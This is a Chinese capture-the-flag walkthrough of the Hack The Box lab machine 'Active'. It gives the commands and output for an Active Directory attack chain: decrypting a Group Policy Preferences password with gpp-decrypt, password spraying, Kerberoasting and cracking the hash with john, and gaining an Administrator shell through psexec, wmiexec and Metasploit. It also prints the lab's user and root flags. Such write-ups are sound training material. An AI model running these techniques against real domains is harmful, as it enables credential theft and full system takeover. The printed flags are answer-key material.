目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
使用smbmap通过SMB服务对匿名用户共享权限情况进行扫描
3.Which file has encrypted account credentials in it?
4.What is the decrpyted password for the SVC_TGS account?
使用gpp-decrypt对密文进行解密
5.Submit the flag located on the security user's desktop.
尝试密码喷洒
使用smbmap扫描该用户在SMB服务器中的共享权限情况
USER_FLAG:0af81caa30c5035d17536a1bd480813b
6.Which service account on Active is vulnerable to Kerberoasting?
7.What is the plaintext password for the administrator account?
使用john对Kerberos凭证进行破解
8.Submit the flag located on the administrator's desktop.
首先尝试使用evil-winrm通过该凭证连接至靶机
尝试通过psexec.py脚本登录
尝试通过wmiexec.py脚本登录
启动Metasploit
ROOT_FLAG:d0eb95acc69ddffee46a6abe5b0a97fd
连接至HTB服务器并启动靶机
靶机IP:10.10.10.100
分配IP:10.10.16.7
1.How many SMB shares are shared by the target?
使用nmap对靶机TCP端口进行开放扫描
nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.10.100 | tee res.txt
提取出开放端口号
ports=$(cat res.txt | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
对靶机开放端口进行脚本、服务扫描
nmap -p$ports -sCV 10.10.10.100
使用smbclient工具列出靶机的SMB中所有共享
smbclient -L //10.10.10.100
提示输入root用户密码,尝试空密码进入
2.What is the name of the share that allows anonymous read access?
使用smbmap通过SMB服务对匿名用户共享权限情况进行扫描
smbmap -H 10.10.10.100
3.Which file has encrypted account credentials in it?
使用smbclient连接至靶机SMB服务器中的Replication共享
最后找到Groups.xml在该目录下
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
将其下载到本地
get Groups.xml
查看该文件内容
cat Groups.xml
4.What is the decrpyted password for the SVC_TGS account?
这串字符看起来像BASE家族的东西,我直接扔进CyberChef
账户:SVC_TGS
密码:Triplet too large: 'Z+O'
果然解密后看起来就不像密码,交上去果然是错的
我尝试问AI:
若一个文件的路径如下:\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> Groups.xml。那么它里面内容的加密方式很可能是?
1. **分析文件路径相关线索**
- 从文件路径`\Policies\{31B2F340 - 016D - 11D2 - 945F - 00C04FB984F9}\MACHINE\Preferences\Groups\> Groups.xml`可以推测这个文件可能与系统策略或者配置相关。
- 在Windows系统环境下,这样的文件路径通常与组策略(Group Policy)有关。组策略是用于管理和配置Windows系统中的用户和计算机设置的一种机制。2. **推测加密方式**
- **基于组策略加密**:在Windows组策略中,涉及到一些敏感信息(如密码等)的存储时,可能会使用微软自己的加密方式,例如微软的可逆加密(在前面关于`cpassword`的讨论中有提及)。如果`Groups.xml`文件中包含用户账户相关的密码信息,如服务账户密码用于在系统策略环境下的自动化操作,那么很可能是微软可逆加密。
- **基于XML加密标准**:由于文件是XML格式,也有可能采用XML加密标准。XML加密提供了一种对XML元素或整个XML文档进行加密的方法。它使用标准的加密算法,如AES(高级加密标准)、RSA(非对称加密算法)等来加密内容。这种加密方式可以保护XML文档中的敏感信息,如用户权限、配置参数等。如果文件包含需要在网络传输或者存储过程中保护的敏感配置数据,那么很可能采用XML加密标准中的相关算法进行加密。
- **未加密或简单编码**:当然,文件内容也有可能没有经过加密,只是进行了简单的编码。例如,使用Base64编码来隐藏内容的真实格式,但这种编码不是加密,很容易被解码。如果文件中的内容主要是用于配置信息的存储和读取,且不需要高度保密,那么可能只是简单的编码。综上所述,文件内容可能是微软可逆加密、XML加密标准中的算法加密,也有可能只是简单的编码或者未加密。具体的加密方式需要进一步查看文件内容的格式、其中包含的元素特征等细节来确定。
最后经过一番搜索,又看了官方WP才知道要用gpp-decrypt
`gpp-decrypt`工具的主要作用是用来破解微软组策略偏好(Group Policy Preferences,GPP)中加密的密码信息。以下是其具体的作用和相关原理:
1. **针对特定场景的数据提取与破解**:
- **提取用户名和密码信息**:在 Windows 的组策略管理中,管理员可以使用组策略首选项来配置各种系统设置,例如远程创建本地账户等操作。这些操作会生成一个 `groups.xml`文件,该文件中包含了创建的用户名和对应的加密密码(存储在 `cpassword`属性中)。`gpp-decrypt`工具能够解析这个 `groups.xml`文件,从中提取出用户名和加密后的密码。
- **破解加密密码**:对于提取出的加密密码,`gpp-decrypt`会使用特定的算法进行解密。在 Windows 2008 及以前的版本中,虽然管理员账号和密码在下发时是经过 AES 加密的,但加密密钥曾被微软官方支持技术网站泄露。利用这个已知的密钥信息,`gpp-decrypt`工具可以将加密后的密码还原为明文,从而获取到原本的密码信息。
2. **在安全审计和漏洞利用中的应用**:
- **安全审计方面**:系统管理员或安全审计人员可以使用 `gpp-decrypt`工具来检查组策略配置中是否存在潜在的安全风险。例如,检查是否有未经授权的用户利用组策略漏洞创建了具有高权限的本地账户,或者查看已有的账户密码是否被正确加密和保护。
- **漏洞利用方面**:攻击者可能会利用 `gpp-decrypt`工具来获取系统的更高权限。如果攻击者能够访问到包含 `groups.xml`文件的系统或网络位置,就可以使用该工具破解密码,进而获得本地管理员权限或其他高权限账户的访问权限,这是一种常见的 Windows 系统提权方法。总之,`gpp-decrypt`工具在 Windows 系统的安全管理和漏洞分析中具有重要的作用,但同时也需要注意该工具的使用必须在合法的授权范围内,以避免违反法律法规。
使用gpp-decrypt对密文进行解密
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
解密后的凭证
账户:SVC_TGS
密码:GPPstillStandingStrong2k18
5.Submit the flag located on the security user's desktop.
我尝试利用上文拿到的用户凭证,通过靶机SMB服务扫描靶机系统用户并将结果保存到users.txt
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --rid-brute | grep SidTypeUser | tee users.txt
提取出用户名
cat users.txt | cut -f 2 -d '\' | cut -f 1 -d ' ' | tee users.txt
尝试密码喷洒
crackmapexec smb 10.10.10.100 -u users.txt -p 'GPPstillStandingStrong2k18'
使用smbmap扫描该用户在SMB服务器中的共享权限情况
smbmap -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -H 10.10.10.100
使用smbclient连接到Users共享
smbclient -U SVC_TGS%GPPstillStandingStrong2k18 //10.10.10.100/Users
cat user.txt
┌──(root㉿kali)-[/home/…/Desktop/tool/impacket/examples]
└─# cat user.txt
0af81caa30c5035d17536a1bd480813b
USER_FLAG:0af81caa30c5035d17536a1bd480813b
6.Which service account on Active is vulnerable to Kerberoasting?
获取与当前用户有关的SPN相关信息
python GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
可见SPN:Administrator这意味着我们能直接读取它的凭证
7.What is the plaintext password for the administrator account?
因为之前一直使用的是SG结点,所以这里要切换到US结点以同步Kerberos时钟
否则会报错:Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
python GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
将Administrator凭证哈希值截取出来
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5d6a91b199e683a05bd20a2a66a18e7a$cd69bda4afad4de69ce794f74f0adb7b3f59ac6c93f2033ee70e1b2659cb9d7ee16a8c0d385fdfb8bad94f5d485c5bad282c837f494c43a62cfaa3edd28e9557efcddb3fd0d6522f191ed46d6bb3877609eb5522514ae4ee7851f1ec69d12c8f3b792cd1b05c5c86b374542cfbfa7af9bdfb2103715e1f183aa697cbd027875e5f605d9eb617bac84ffe1a06f61e909797b0d0b3ed6bff5b4f474e57a073480b36e330f9827361d9826d8ac5befbdecddeb949cdc6e0c1bdd40e77e5b2227eedb654febf57808a44af774beacfd2d8195a8cdbe3db1854d3b2712793d214a9dfcbb38e1bc3a8b701c537bf8043c604a6cff05090276afcb1d016dc7146a245f18e21cd0dcc1f2382be6b1c477f33d4461923b2890b343b725851bd31c41ecdda7203f6d1352f869531b0c5b0cc18e0becb3948d621aa737f0177e99ce99802fb6b68bb9285bc25a7e6902fb6212d1b2f8124189333420df39e406beced58db9b9c61b9bff518a5087cd285d19bba0ab57bf250cc3f8d80875e9eb9c6a0f4bec0a5cbe0b339b0347eed3c3f19c74ad3561e87070354ec1263254cedb748fc618d3a2e2181ab8b53ddeca6547a19bdda183afbfbab298aa4a9ca48ff5e04a7f3bc8d5f1c6077e961b9fe9d60934b76baaf824996ec14f210978e05f3c65109655d7ebc6e125f4c8b68332972b2a35f9fa6a42e97289741135e46f26b436f352be7d85eba81f543afc7291fc4172491f821fe5526764e056074d00935cc087ac9ce859b9f42f7d1537700167afae575c2a7cc6a67eed4b4e24b64d3ee9ec78ed264a0f4edd1fb37eabf7f0462e43ea5b244d6b09c0c316782b5074f0bc4abcd9ae6c7caa06cf66cf3cb57cbe8ae69f148e94b954b887c530f54827ce07effcba29efb2e1444ab0adc6b83ce07c5053a357e076c95688c26064bc1bd01f3366c5b05d3943419c9de80a4b32fdcfcfd68c57685727dcfaf48c0593b0d8b2a25ae22dc0652762c682248d1d2a30864839fe0503804ad32940d22855bf6aa307c77377f9ea1bc34259f23f380f9bc51d392cc3620defb1e8826a0bb041cd0149bc95dfb2443f601f6b40b7774a47f71638aead6940bebbb7857b0eec384bcf2ff6357ada81dcd2dc4958e6c9d2e648eb70d359452e262329c8ac5db205d48f7a7925bb026ff5e60ba597309c353cbb2c20cc40126cb10e93ba981f93cf6bca6f9081561a5167731f9845a670d202b8b007e642e3ba63b5664c92e47cd83
使用john对Kerberos凭证进行破解
john hash --wordlist=../dictionary/rockyou.txt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# john hash --wordlist=../dictionary/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:08 DONE (2024-11-13 20:54) 0.1176g/s 1239Kp/s 1239Kc/s 1239KC/s Tiffani1432..Thing1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
账户:Administrator
密码:Ticketmaster1968
8.Submit the flag located on the administrator's desktop.
首先尝试使用evil-winrm通过该凭证连接至靶机
evil-winrm -i 10.10.10.100 -u Administrator -p 'Ticketmaster1968'
尝试通过psexec.py脚本登录
python psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
尝试通过wmiexec.py脚本登录
┌──(root㉿kali)-[/home/…/Desktop/tool/impacket/examples]
└─# python wmiexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator
启动Metasploit
msfconsole
搜索psexec模块
search psexec
使用该模块
use exploit/windows/smb/psexec
需要配置选项:LHOST、LPORT、RHOSTS、SMBDomain、SMBPass、SMBUser
查找root_flag位置
search -f root.txt
meterpreter > search -f root.txt
Found 1 result...
=================Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\Administrator\Desktop\root.txt 34 2024-11-13 20:39:13 -0500
切换到终端
shell
查看root_flag内容
meterpreter > shell
Process 2952 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
d0eb95acc69ddffee46a6abe5b0a97fd